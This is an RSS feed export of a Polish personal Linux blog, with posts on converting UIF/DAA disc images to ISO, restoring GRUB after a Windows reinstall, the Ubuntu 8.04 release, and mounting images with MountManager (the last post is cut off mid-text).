<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Lukas Blog</title>
	<atom:link href="http://blog.brodowski.net.pl/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.brodowski.net.pl</link>
	<description>Prywatny blog Łukasza Brodowskiego. Strona o pasjach jakimi są dla niego sporty wodne, żeglarstwo, fotografia, programowanie i linux. Internetowy pamiętnik zawierający refleksje i przemyślenia. Blog o wszystkim i dla wszystkich.</description>
	<lastBuildDate>Tue, 22 Feb 2011 19:00:35 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.1</generator>
		<item>
		<title>Kolejna próba reaktywacji</title>
		<link>http://blog.brodowski.net.pl/2011/02/22/kolejna-proba-reaktywacji/</link>
		<comments>http://blog.brodowski.net.pl/2011/02/22/kolejna-proba-reaktywacji/#comments</comments>
		<pubDate>Tue, 22 Feb 2011 19:00:35 +0000</pubDate>
		<dc:creator>Łukasz Brodowski</dc:creator>
				<category><![CDATA[Blog]]></category>
		<category><![CDATA[reaktywacja]]></category>

		<guid isPermaLink="false">http://blog.brodowski.net.pl/?p=208</guid>
		<description><![CDATA[Sporo ponad rok od ostatniego poważnego wpisu na tym blogu. Niestety sytuacja zawodowa i nawał pracy zmusiły mnie do rozstania się na jakiś czas. Jednak podobno nie ma tego złego, co by na dobre nie wyszło. Uzbrojony jestem w sporą dawkę motywacji i ogrom nowych doświadczeń i wiedzy, którą pragnę się tu z Wami wszystkimi [...]]]></description>
			<content:encoded><![CDATA[<p>Sporo ponad rok od ostatniego poważnego wpisu na tym blogu. Niestety sytuacja zawodowa i nawał pracy zmusiły mnie do rozstania się na jakiś czas. Jednak podobno nie ma tego złego, co by na dobre nie wyszło. Uzbrojony jestem w sporą dawkę motywacji i ogrom nowych doświadczeń i wiedzy, którą pragnę się tu z Wami wszystkimi podzielić. Na chwilę obecną strona ma jeszcze ograniczoną funkcjonalność&#8230; wszystko jest w fazie aktualizacji/odświeżania, ale za kilka dni powinien się już jakiś normalny wpis pojawić. Bardzo dziękuję wszystkim którzy nie zapomnieli i motywowali mnie do wznowienia częstych wypocin. Postaram się nie zawieść.</p>
<p class='fb-like'><iframe src='http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.brodowski.net.pl%2F2011%2F02%2F22%2Fkolejna-proba-reaktywacji%2F&amp;layout=box_count&amp;show_faces=true&amp;width=450&amp;action=like&amp;colorscheme=light&amp;height=65&amp;font=lucida+grande' scrolling='no' frameborder='0' allowTransparency='true' style='border:none; overflow:hidden; width:450px; height:65px'></iframe></p><fb:share-button href="http://blog.brodowski.net.pl/2011/02/22/kolejna-proba-reaktywacji/" type="box_count"></fb:share-button>]]></content:encoded>
			<wfw:commentRss>http://blog.brodowski.net.pl/2011/02/22/kolejna-proba-reaktywacji/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Pliki UIF i DAA pod Linuxem &#8211; koniec koszmaru</title>
		<link>http://blog.brodowski.net.pl/2008/09/01/pliki-uif-pod-linuxem-koniec-koszmaru/</link>
		<comments>http://blog.brodowski.net.pl/2008/09/01/pliki-uif-pod-linuxem-koniec-koszmaru/#comments</comments>
		<pubDate>Mon, 01 Sep 2008 14:04:28 +0000</pubDate>
		<dc:creator>Łukasz Brodowski</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[Ubuntu]]></category>

		<guid isPermaLink="false">http://blog.brodowski.net.pl/?p=140</guid>
		<description><![CDATA[Zdarza mi się często ściągnąć jakiś plik z internetu z rozszerzeniem UIF. Z nie do końca wyjaśnionych powodów ludzie często decysują się na dystrybucję plików właśnie w tym formacie&#8230; Ale o co chodzi? Format jak każdy inny. Otóż nie do końca. Jest to teoretycznie obraz płyty, ale jest to obraz własnościowy i w dodatku skompresowany&#8230; [...]]]></description>
			<content:encoded><![CDATA[<p>Zdarza mi się często ściągnąć jakiś plik z internetu z rozszerzeniem UIF. Z nie do końca wyjaśnionych powodów ludzie często decysują się na dystrybucję plików właśnie w tym formacie&#8230; Ale o co chodzi? Format jak każdy inny. Otóż nie do końca. Jest to teoretycznie obraz płyty, ale jest to obraz własnościowy i w dodatku skompresowany&#8230; a co za tym idzie wcale nie tak łatwo jest go podmontować.</p>
<p><span id="more-140"></span></p>
<blockquote><p>MagicISO is a CD/DVD image file creating / editing / extracting tool. It can open / create / edit / extract CD/DVD image files, and it can convert bin to iso and back. Universal Image Format (UIF) is a compression image file format for backing up CD/DVDs. MagicISO has a freeware program called MagicDisk that can open UIF files on Windows computers. For the Mac, you have to convert the file to ISO format and the tool UIF2ISO4Mac promises to do that by simply dropping the UIF file onto the tool. Once converted, the file can be opened or burned. &#8230;.</p></blockquote>
<p>&#8230; A gdzie Linux?!</p>
<p>Szukając rozwiązania problemu w internecie na różnego rodzaju forach często widać odpowiedzi, że przecież można zainstalować MagicISO (bo właśnie tego programu jest to rozszerzenie) pod wine i (teoretycznie) bez problemu odpalić. Owszem można, ale jest (moim zdaniem) prostsza metoda.</p>
<p>Nie tak dawno pisałem o <a href="http://blog.brodowski.net.pl/2008/04/11/montowanie-obrazow-plyt-w-linuksie-cdemu/" target="_blank">różnych metodach konwersji obrazów płyt do iso</a>. Okazało się, iż istnieje podobny sposób na radzenie sobie z plikami MagicISO. Buszując po internecie natrafiłem na stronę <a href="http://aluigi.altervista.org/">Luigi Auriemma</a>. Człowiek ten napisał skrypt pozwalający na przekształcenie pliku z rozszerzeniem UIF na bardziej heteroseksualne ISO. Ok&#8230; wystarczy tego przydługiego wstępu&#8230; Zobaczmy jak możemy wykorzystać jego pracę&#8230;</p>
<p>Nie stety programu UIF2ISO w repozytoriach Ubuntu nie uświadczymy (przynajmniej na razie), więc musimy się sami tym zająć.</p>
<p>Dla mniej wtajemniczonych w tajniki budowania paczek dla Debiana (i Ubuntowatych) przygotowałem takową którą można pobrać tu: http://www.sendspace.pl/file/5Ga1kguN/</p>
<p>paczka dla plików DAA (daa2iso): http://www.sendspace.pl/file/GD7YPh0Z/</p>
<p>Instrukcja dla tych którzy wolą to zrobić sami:</p>
<p>1. Upewniamy się, że mamy niezbędne paczki słurzące do kompilacji programów</p>
<p><code>sudo apt-get install zlib1g zlib1g-dev libssl-dev build-essential</code></p>
<p>2. Tworzymy sobie katalog</p>
<p><code>mkdir uif2iso</code></p>
<p>&#8230; i przechodzimy do niego</p>
<p><code>cd uif2iso</code></p>
<p>3. Ściągamy program ze strony autora (na czas pisania jest to wersja 0.1.6</p>
<p><code>wget http://aluigi.altervista.org/mytoolz/uif2iso.zip</code></p>
<p>4. Rozpakowujemy</p>
<p><code>unzip uif2iso.zip</code></p>
<p>5. Przechodzimy do katalogu &#8222;src&#8221;</p>
<p><code>cd src</code></p>
<p>6. Kompilujemy kod i przygotowujemy plik</p>
<p><code>make &amp;&amp; sudo make install</code></p>
<p>W zasadzie to wszystko&#8230; paczkę mamy zainstalowaną i gotową do użycia</p>
<p>Tylko jak jej użyć? Sposób użycia w zasadzie niczym nie różni się od bin2iso i jemu podobnych</p>
<p>uif2iso &lt;plik z rozszerzeniem &#8222;uif&#8221;&gt; &lt;nazwa nowego pliku z rozszerzeniem &#8222;iso&#8221;&gt;</p>
<p>np:</p>
<p><code>uif2iso ksiazki.uif ksiazki.iso</code></p>
<p>proste nie?</p>
<p>Teraz już można bez żadnego problemu zamontować taki obraz. O montowaniu możecie znaleść więcej <a href="http://blog.brodowski.net.pl/2008/04/11/montowanie-obrazow-plyt-w-linuksie-cdemu/" target="_blank">tu</a></p>
<p>Aktualizacja:</p>
<p>Jeżeli chodzi o pliki &#8222;DAA&#8221; (Direct Access Archive (Używane przez PowerISO) sposób działania jest analogiczny&#8230;</p>
<p>paczka dla plików DAA (daa2iso): http://www.sendspace.pl/file/GD7YPh0Z/</p>
<p>punkty 1-2 i 4-6 bez zmian z tą różnica, że zamiast wyrażenia uif2iso wpiszemy daa2iso</p>
<p>3. Ściągamy skrypt z e strony autora</p>
<p><code>wget http://aluigi.altervista.org/mytoolz/daa2iso.zip</code></p>
<p>użycie tez jest analogiczne</p>
<p><code>daa2iso ksiazki.daa ksiazki.iso</code></p>
<p>Enjoy</p>
<p class='fb-like'><iframe src='http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.brodowski.net.pl%2F2008%2F09%2F01%2Fpliki-uif-pod-linuxem-koniec-koszmaru%2F&amp;layout=box_count&amp;show_faces=true&amp;width=450&amp;action=like&amp;colorscheme=light&amp;height=65&amp;font=lucida+grande' scrolling='no' frameborder='0' allowTransparency='true' style='border:none; overflow:hidden; width:450px; height:65px'></iframe></p><fb:share-button href="http://blog.brodowski.net.pl/2008/09/01/pliki-uif-pod-linuxem-koniec-koszmaru/" type="box_count"></fb:share-button>]]></content:encoded>
			<wfw:commentRss>http://blog.brodowski.net.pl/2008/09/01/pliki-uif-pod-linuxem-koniec-koszmaru/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>Powakacyjna Reaktywacja</title>
		<link>http://blog.brodowski.net.pl/2008/08/31/powakacyjna-reaktywacja/</link>
		<comments>http://blog.brodowski.net.pl/2008/08/31/powakacyjna-reaktywacja/#comments</comments>
		<pubDate>Sun, 31 Aug 2008 19:44:42 +0000</pubDate>
		<dc:creator>Łukasz Brodowski</dc:creator>
				<category><![CDATA[Codzienność]]></category>
		<category><![CDATA[Blog]]></category>

		<guid isPermaLink="false">http://blog.brodowski.net.pl/?p=136</guid>
		<description><![CDATA[Przyznaję się bez bicia, że faktycznie już trochę minęło czasu odkąd ostatni wpis ujrzał światło dzienne na tym blogu. Było to oczywiście powodowane latem i tym, że po pracy rzadko się do domu wracało (to tak z grubsza, bez wdawania się w ciekawsze szczegóły ), nie mówiąc już o znalezieniu czasu na napisanie czegokolwiek. Generalnie [...]]]></description>
			<content:encoded><![CDATA[<p>Przyznaję się bez bicia, że faktycznie już trochę minęło czasu odkąd ostatni wpis ujrzał światło dzienne na tym blogu. Było to oczywiście powodowane latem i tym, że po pracy rzadko się do domu wracało (to tak z grubsza, bez wdawania się w ciekawsze szczegóły <img src='http://blog.brodowski.net.pl/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> ), nie mówiąc już o znalezieniu czasu na napisanie czegokolwiek.<span id="more-138"></span> Generalnie to chciałbym się pochwalić jakimś fajnym wyjazdem w te wakacje, albo czymś podobnym co by w jakimś stopniu usprawiedliwiało ten zastój, ale nie da rady&#8230; całe te niby &#8222;wakacje&#8221; zajęła mi praca, która w odróżnieniu od roku akademickiego trwała 7 a nie siedem dni w tygodniu (tak, wiem, że nie ma różnicy). Co prawda teoretycznie został niby jeszcze miesiąc tych niby wakacji, ale poprawki (a właściwie to jedna (bo co to za student, bez żadnej poprawki (jak żołnierz&#8230;))) przesłoniły wizję tego dodatkowego miesiąca. Mam jakieś dziwne uczucie, że odpocznę (i będę miał więcej czasu) jak się wreszcie zaczną te studia. No dobra&#8230; skłamałem&#8230; jestem tego pewien <img src='http://blog.brodowski.net.pl/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> . Przez ostatni kilka miesięcy (wow! to aż tyle?!) nazbierało się kilka interesujących tematów. Tym samym ręczę słowem, że w najbliższym czasie pojawi się kilka ciekawych (a przynajmniej mam nadzieję, że ciekawych) wpisów. Tym chyba zakończę ten wpis&#8230; nie mam już dzisiaj na nic siły. Możecie mi wierzyć, że nic tak człowieka nie wykańcza jak szkolenie na intensywnym kursie żeglarskim + powrót w korku gigancie gdyż oczywiście wszyscy musieli odłożyć sobie powrót z wakacji na tą ostatnią chwilę&#8230;</p>
<p>Ps: Wiem, że i tak nikt nie czyta tego bloga, ale jakby jednak jakiś łoś się znalazł, to informuję, iż dodałem możliwość subskrypcji wpisów na email -&gt; <a title="Subskrynuj wpisy na email" href="http://blog.brodowski.net.pl/wp-admin/users.php?page=subscribe2/subscribe2.php" target="_blank">dla zarejestrowanych</a> (dla ochrony przed spamem)</p>
<p><!--subscribe2--></p>
<p class='fb-like'><iframe src='http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.brodowski.net.pl%2F2008%2F08%2F31%2Fpowakacyjna-reaktywacja%2F&amp;layout=box_count&amp;show_faces=true&amp;width=450&amp;action=like&amp;colorscheme=light&amp;height=65&amp;font=lucida+grande' scrolling='no' frameborder='0' allowTransparency='true' style='border:none; overflow:hidden; width:450px; height:65px'></iframe></p><fb:share-button href="http://blog.brodowski.net.pl/2008/08/31/powakacyjna-reaktywacja/" type="box_count"></fb:share-button>]]></content:encoded>
			<wfw:commentRss>http://blog.brodowski.net.pl/2008/08/31/powakacyjna-reaktywacja/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Odzyskiwanie grub-a po instalacji Windows</title>
		<link>http://blog.brodowski.net.pl/2008/06/16/odzyskiwanie-grub/</link>
		<comments>http://blog.brodowski.net.pl/2008/06/16/odzyskiwanie-grub/#comments</comments>
		<pubDate>Mon, 16 Jun 2008 11:17:01 +0000</pubDate>
		<dc:creator>Łukasz Brodowski</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[tips & tricks]]></category>
		<category><![CDATA[Windows]]></category>

		<guid isPermaLink="false">http://blog.brodowski.net.pl/2008/01/30/odzyskiwanie-grub/</guid>
		<description><![CDATA[Jak powszechnie wiadomo system Windows wymaga regularnej reinstalacji aby działał prawidłowo&#8230; Problem pojawia się, jeżeli na tym samym komputerze posiadamy Linuksa i korzystamy z boot loadera GRUB&#8230; System spod znaku MS oczywiście mając wszystko gdzieś kompletnie bezmyślnie usunie nam GRUBa z pamięci rozruchowej MBR (Master Boot Record (pierwsza jednostka rozruchowa))&#8230; Co zrobić w takim przypadku? [...]]]></description>
			<content:encoded><![CDATA[<p>Jak powszechnie wiadomo system Windows wymaga regularnej reinstalacji aby działał prawidłowo&#8230; Problem pojawia się, jeżeli na tym samym komputerze posiadamy Linuksa i korzystamy z boot loadera GRUB&#8230; System spod znaku MS oczywiście mając wszystko gdzieś kompletnie bezmyślnie usunie nam GRUBa z pamięci rozruchowej MBR (Master Boot Record (pierwsza jednostka rozruchowa))&#8230;<br />
Co zrobić w takim przypadku?</p>
<p>Uruchamiamy system z LiveCD a następnie wydajemy polecenia:<br />
<code>sudo mkdir /mnt/root</code><br />
<code>sudo mount -t ext3 /dev/hdx /mnt/root</code><br />
<span id="more-114"></span>gdzie <strong>hdx</strong> oznacza partycję, na której zainstalowany jest Linux. Przyjmując, że nasz system był zainstalowany na systemie plików <strong>ext3</strong> podaliśmy parametr &#8222;-t ext3&#8243;. Jeżeli nie wiadomo jaki jest system plików należy wpisać &#8222;-t auto&#8221;. Jeśli posiadamy dysk SATA zamiast &#8222;/dev/hdx&#8221; wpisujemy &#8222;/dev/sdx&#8221;.</p>
<p>Aby wyświetlić listę dostępnych partycji które możemy podmontować wraz z ich systemem plików możemy użyć polecenia: <code>sudo fdisk -l</code></p>
<p>Wydając te polecenia stworzymy katalog <code>/mnt/root</code>, w którym znalazła się nasza partycja.</p>
<p>Następnie przechodzimy do linii poleceń GRUBa za pomocą komendy:<br />
<code>sudo grub</code><br />
Jeżeli wszystko wykona się poprawnie powinniśmy zobaczyć linijkę &#8222;grub&gt;&#8221;. Następnie wydamy polecenie, które wyszuka partycji z grubem:<br />
<code>find /boot/grub/stage1</code><br />
W moim przypadku otrzymałem <code>(hd0,2)</code>. Następnie musimy ustawić partycję główną za pomocą polecenia:<br />
<code>root (hd0,x)</code><br />
W miejsce <strong>x</strong> wstawiamy wartość, którą otrzymaliśmy po poprzedniej komendzie (w moim przypadku było to &#8222;2&#8243;). Ostatnie polecenie zainstaluje nam ponownie GRUBa na dysku.<br />
<code>setup (hd0)</code><br />
Oczywiście zamiast hd0 może być o innego. Generalnie są to pierwsze trzy znaki jakie wyrzuci nam komenda find /boot/grub/stage1 (pomijając nawiasy)<br />
I koniec&#8230; wychodzimy<br />
<code>quit</code><br />
Od tej chwili możemy cieszyć się GRUBem przy uruchamianiu komputera.</p>
<p class='fb-like'><iframe src='http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.brodowski.net.pl%2F2008%2F06%2F16%2Fodzyskiwanie-grub%2F&amp;layout=box_count&amp;show_faces=true&amp;width=450&amp;action=like&amp;colorscheme=light&amp;height=65&amp;font=lucida+grande' scrolling='no' frameborder='0' allowTransparency='true' style='border:none; overflow:hidden; width:450px; height:65px'></iframe></p><fb:share-button href="http://blog.brodowski.net.pl/2008/06/16/odzyskiwanie-grub/" type="box_count"></fb:share-button>]]></content:encoded>
			<wfw:commentRss>http://blog.brodowski.net.pl/2008/06/16/odzyskiwanie-grub/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>Ubuntu 8.04 LTS (Wytrzymała Czapla) Wydane!</title>
		<link>http://blog.brodowski.net.pl/2008/04/24/ubuntu-804-lts-hardy-heron-wydane/</link>
		<comments>http://blog.brodowski.net.pl/2008/04/24/ubuntu-804-lts-hardy-heron-wydane/#comments</comments>
		<pubDate>Thu, 24 Apr 2008 11:50:48 +0000</pubDate>
		<dc:creator>Łukasz Brodowski</dc:creator>
				<category><![CDATA[Ubuntu]]></category>
		<category><![CDATA[gnome]]></category>

		<guid isPermaLink="false">http://blog.brodowski.net.pl/?p=133</guid>
		<description><![CDATA[Zespół programistów Ubuntu ogłosił wydanie kolejnej wersji Ubuntu noszącej numer 8.04 LTS (Long-Term Support) dla desktopu i serwera. LTS &#8211; Long Term Support &#8211; oznacza, że dla tej wersji uaktualnienia oraz wsparcie techniczne, zamiast przez 18 miesięcy, będzie dostępne przez 3 lata od daty wydania (5 lat dla wersji serwerowych). Pierwszy raz oznaczenie to otrzymało [...]]]></description>
			<content:encoded><![CDATA[<p><img style="float:left" src="http://pcmaclin.com/news/wp-content/uploads/2007/08/ubuntu-logo.jpg" alt="Ubuntu 8.04" width="200" height="183" /></p>
<p>Zespół programistów Ubuntu ogłosił wydanie kolejnej wersji Ubuntu noszącej numer 8.04 LTS (Long-Term Support) dla desktopu i serwera. LTS &#8211; Long Term Support &#8211; oznacza, że dla tej wersji uaktualnienia oraz wsparcie techniczne, zamiast przez 18 miesięcy, będzie dostępne przez 3 lata od daty wydania (5 lat dla wersji serwerowych). Pierwszy raz oznaczenie to otrzymało Ubuntu 6.06 LTS Dapper Drake.</p>
<p>Ubuntu 8.04 LTS w edycji desktopowej zawiera najnowsze, stabilne wersje wielu podstawowych programów, i w tym też duchu jest pierwszą dystrybucją, która wprowadza miliony użytkowników w świat Firefoksa 3. Połączenie Linuksa i Firefoksa 3 ma czynić z Ubuntu 8.04 LTS system dobry do surfowania po sieci, z szybkim przeglądaniem stron i ogromnie zredukowaną podatnością na wirusy, fałszywe strony internetowe oraz spyware.<span id="more-133"></span></p>
<p>Lepsze korzystanie ze zdjęć: ulepszony domyślny manager zdjęć, F-Spot, wspólnie z usprawnionym rozpoznawaniem aparatów fotograficznych i telefonicznych pozwala na wysyłanie, oznaczanie, zarządzanie, wyświetlanie, usuwanie, drukowanie i współdzielenie zdjęć z przyjaciółmi i rodziną prościej niż kiedykolwiek.</p>
<p>Współdzielenie muzyki: użytkownicy mogą podłączyć się do przenośnych odtwarzaczy audio, współdzielić listy odtwarzania z przyjaciółmi, dokonywać zakupów w sklepie online Magnatune, słuchać radia internetowego i podłączyć więcej urządzeń niż kiedykolwiek (poprzez UPnP).</p>
<p>Lepsze odtwarzanie video: nowy domyślny odtwarzacz filmów pozwala na przeglądanie zasobów YouTube i innych źródeł video w sieci jak również współdzielić pliki z innymi. Integruje się z Myth TV, open-source&#8217;owym TV Recorderem, tak więc można oglądać swoje ulubione programy telewizyjne na własnym komputerze. Brasero pozwala na łatwe wypalenie całej zawartości na płytę CD lub DVD.</p>
<p>Dla użytkowników domowych ważny jest również elegancki pulpit, a 8.04 LTS łączy najnowsze aplikacje Gnome z efektami wizualnymi, dając użytkownikom spokojne, lepiej wyglądające i bardziej intuicyjne środowisko. W dystrybucji znalazła się również obsługa gestów myszy, a także lepsze wsparcie dla komend głosowych, oraz wsparcie dla użytkowników niepełnosprawnych.</p>
<p>Co ważne, ponad 30 komercyjnych dostawców oprogramowania planuje wspierać oraz dystrybuować swoje aplikacje na platformę 8.04, wliczając w to Adobe, Google, Real Networks, Skype, Corel, Parallels, Fluendo.</p>
<p>Kilka informacji o Ubuntu 8.04 LTS Server Edition</p>
<p>Ubuntu 8.04 LTS Server Edition jest czwartym wydaniem serwerowym firmy Canonical. Jest to wydanie posiadające gwarancję 5 lat wsparcia i poprawek bezpieczeństwa. Spośród wielu nowych i uaktualnionych cech wersji LTS można wymienić:</p>
<p>Solidne podstawy</p>
<ul>
<li> Szeroki wachlarz aplikacji infrastruktury sieciowej, wliczając w to aplikacje do uwierzytelniania (FreeRadius) , monitorowania (Munin), sieci VPN (OpenVPN) i wykonywania kopii zapasowych (Bacula).</li>
<li> Zwiększone bezpieczeństwo dzięki zintegrowanym politykom aplikacji AppArmor  i zwiększonym zabezpieczeniom jądra.</li>
<li> Poszerzony zakres możliwości przechowywania danych obejmuje obsługę iSCSI i DRDB.</li>
<li> Ponad 500 wspieranych pakietów, oraz dostęp do ponad 20 000 dodatkowych komponentów zbudowanych dla 8.04 LTS.</li>
<li> Zintegrowana zapora ogniowa w celu ochrony serwerów podłączonych do Internetu</li>
<li> Możliwość pełnej aktualizacji z wersji 6.06 LTS.</li>
</ul>
<p>Szerokie środowisko działania</p>
<ul>
<li> Integracja z Active Directory jako usługa standardowa, zapewniana przez LikeWise Open</li>
<li> Ubuntu jest pierwszą dystrybucją, która zawiera oprogramowanie Open JDK firmy Sun jako opcję.</li>
<li> Certyfikowane aplikacje dla Ubuntu 8.04 LTS Server Edition od Alfresco, IBM, VMWare, Parallels, Qumranet, Tresys, Zarafa, Zend, Zimbra, Zmanda i wielu innych dostawców.</li>
</ul>
<p>Najczęściej wybierana platforma wirtualna</p>
<ul>
<li> Dołączenie KVM jako hosta do wirtualizacji aplikacji i systemów operacyjnych.</li>
<li> Znaczące modyfikacje jądra w kierunku optymalizacji używania zasobów podczas pracy w środowisku wirtualnym.</li>
<li> Ubuntu JeOS ulepszony do optymalizacji urządzeń wirtualnych, gotowy do pracy w środowisku VMWare lub KVM na dowolnym systemie.Wsparcie</li>
<li> System zarządzania i monitorowania Ubuntu, Landscape, pozwala na lepsze zarządzanie bezpieczeństwem, obsługą i aplikacjami.</li>
<li> Aplikacje oraz podstawowy system są wspierane przez zespół Global Support Services (GSS) firmy Canonical.</li>
</ul>
<p>Źródło: ubuntu.com, di.com.pl, 7thguard.net</p>
<p>Pobierz Ubuntu:</p>
<p>Dla desktopów:</p>
<p><a href="http://releases.ubuntu.com/8.04/ubuntu-8.04-desktop-i386.iso" class="broken_link" rel="nofollow">PC (Intel x86) desktop CD</a> &#8211; Zwykłe procesory</p>
<p><a href="http://releases.ubuntu.com/8.04/ubuntu-8.04-desktop-amd64.iso" class="broken_link" rel="nofollow">64-bit PC (AMD64) desktop CD</a> &#8211; Procesory 64 bitowe</p>
<p>Wersje serverowe:</p>
<p><a href="http://releases.ubuntu.com/8.04/ubuntu-8.04-server-i386.iso" class="broken_link" rel="nofollow">PC (Intel x86) server install CD</a></p>
<p><a href="http://releases.ubuntu.com/8.04/ubuntu-8.04-server-amd64.iso" class="broken_link" rel="nofollow">64-bit PC (AMD64) server install CD</a></p>
<p class='fb-like'><iframe src='http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.brodowski.net.pl%2F2008%2F04%2F24%2Fubuntu-804-lts-hardy-heron-wydane%2F&amp;layout=box_count&amp;show_faces=true&amp;width=450&amp;action=like&amp;colorscheme=light&amp;height=65&amp;font=lucida+grande' scrolling='no' frameborder='0' allowTransparency='true' style='border:none; overflow:hidden; width:450px; height:65px'></iframe></p><fb:share-button href="http://blog.brodowski.net.pl/2008/04/24/ubuntu-804-lts-hardy-heron-wydane/" type="box_count"></fb:share-button>]]></content:encoded>
			<wfw:commentRss>http://blog.brodowski.net.pl/2008/04/24/ubuntu-804-lts-hardy-heron-wydane/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>MountManager &#8211; proste montowanie</title>
		<link>http://blog.brodowski.net.pl/2008/04/23/mountmanager-proste-montowanie-linux/</link>
		<comments>http://blog.brodowski.net.pl/2008/04/23/mountmanager-proste-montowanie-linux/#comments</comments>
		<pubDate>Wed, 23 Apr 2008 20:09:24 +0000</pubDate>
		<dc:creator>Łukasz Brodowski</dc:creator>
				<category><![CDATA[Linux]]></category>
		<category><![CDATA[tips & tricks]]></category>
		<category><![CDATA[Ubuntu]]></category>

		<guid isPermaLink="false">http://blog.brodowski.net.pl/?p=124</guid>
		<description><![CDATA[Ostatnio pisałem o montowaniu obrazów płyt pod systemem Linux. Wpis ten dotyczył montowania obrazów płyt używając do tego konsoli i CDEmu, co wymagało pewnego zaznajomienia z konsolą. Dzisiaj chciałbym Wam przedstawić trochę bardziej przyjazną dla nowicjuszy metodę montowania w Linuksie przy użyciu graficznego programu o nazwie MountManager, który w swym działaniu bardzo przypomina Windowsowe odpowiedniki [...]]]></description>
			<content:encoded><![CDATA[<p>Ostatnio pisałem o <a href="http://blog.brodowski.net.pl/2008/04/11/montowanie-obrazow-plyt-w-linuksie-cdemu/">montowaniu obrazów płyt pod systemem Linux</a>. Wpis ten dotyczył montowania obrazów płyt używając do tego konsoli i CDEmu, co wymagało pewnego zaznajomienia z konsolą. Dzisiaj chciałbym Wam przedstawić trochę bardziej przyjazną dla nowicjuszy metodę montowania w Linuksie przy użyciu graficznego programu o nazwie MountManager, który w swym działaniu bardzo przypomina Windowsowe odpowiedniki takie jak daemon tools czy alcohola. Poniżej będę się głównie koncentrował na montowaniu obrazów płyt, ale bynajmniej nie jest to jedyne zastosowanie MountManager-a.<span id="more-124"></span></p>
<p>Generalizując MountManager jest aplikacją która pozwala nam w łatwy sposób przy użyciu graficznego GUI montować partycje oraz obrazy płyt. Trzeba to przyznać, że program posiada kilka naprawdę ciekawych i zaawansowanych opcji co czyni z niego naprawdę wszechstronne narzędzie. Do tego dochodzi jeszcze możliwość rozszerzenia możliwości programu pluginami.</p>
<p>Tylko niektóre z ogromnej gamy możliwości tego narzędzia:</p>
<p>? Różne punkty montowania dla różnych partycji<br />
? Możliwość montowania partycji<br />
? Odmontowywanie partycji<br />
? Podgląd fizycznych i logicznych dysków.<br />
? Wprowadzanie zmian do /etc/fstab<br />
? Wsparcie dla wielu systemów plików (proc, tmpfs)<br />
? &#8222;Tryb Eksperta&#8221;<br />
? Backup systemu<br />
? Montowanie obrazów płyt (Nero,Mdf,Ccd,Bin etc)</p>
<p>Na chwilę obecną nie ma go w repozytoriach, ale na stronie projektu możemy znaleźć paczkę deb. Pobrać go możemy <a title="MountManager" href="http://mm.vialinx.org/index.php?option=com_weblinks&amp;view=categories&amp;Itemid=53" class="broken_link" rel="nofollow">tutaj</a>.<br />
<span style="text-decoration: underline;"> Wymagana jest biblioteka Qt 4.x</span></p>
<p>Spróbujmy więc uruchomić ten program. Do tego celu użyjemy konsoli</p>
<p><code>sudo mm</code></p>
<p>bądź:</p>
<p>KDE: System -&gt; MountManager (lecz wtedy program uruchomi się nam z prawami normalnego użytkownika i nie będziemy mieli dostępu do wielu opcji (chyba, że ustawimy sobie aby program był uruchamiany z roota)</p>
<p style="text-align: center;">Kilka Screenów<br />
<a title="MountManager" rel="lightbox[mountmanager]" href="http://www.kde-apps.org/CONTENT/content-pre1/76502-1.jpg"><img src="http://www.kde-apps.org/CONTENT/content-pre1/76502-1.jpg" alt="MountManager" width="140" height="105" /></a><a title="MountManager" rel="lightbox[mountmanager]" href="http://www.kde-apps.org/CONTENT/content-pre2/76502-2.jpg"><img src="http://www.kde-apps.org/CONTENT/content-pre2/76502-2.jpg" alt="MountManager" width="140" height="105" /></a><a title="MountManager" rel="lightbox[mountmanager]" href="http://www.kde-apps.org/CONTENT/content-pre3/76502-3.jpg"><img src="http://www.kde-apps.org/CONTENT/content-pre3/76502-3.jpg" alt="MountManager" width="140" height="105" /></a></p>
<p>Przejdźmy do rzeczy&#8230; Jak w tym programie zamontować jakiś obraz płyty?</p>
<p>Najpierw musimy uruchomić plugin który dostarcza nam taką możliwość (montowania obrazów płyt)&#8230; W tym celu przechodzimy do &#8222;Tools-&gt;Plugins Manager&#8221;, zaznaczamy &#8222;Images Mounting&#8221; i naciskamy ten zielony ptaszek powyżej.</p>
<p>Teraz wystarczy wybrać opcję &#8222;Tools-&gt;Image Mounting&#8221;, wybieramy nasz obraz do zamontowania klikająć na ikonę na prawo od &#8222;Image&#8221;&#8230; w ten sam sposób podajemy też punkt montowania (np: /mnt/cdrom (tylko taki katalog musi istnieć)).<br />
Możemy też zaznaczyć opcję &#8222;Open after mounting&#8221; aby szybciej dobrać się do zawartości naszego obrazu.<br />
<a rel="lightbox" href="http://blog.brodowski.net.pl/wp-content/pliki/mntmanager.jpg"><img class="alignnone size-medium wp-image-132" title="mntmanager" src="http://blog.brodowski.net.pl/wp-content/pliki/mntmanager.jpg" alt="Montowanie obrazu" width="287" height="238" /></a><br />
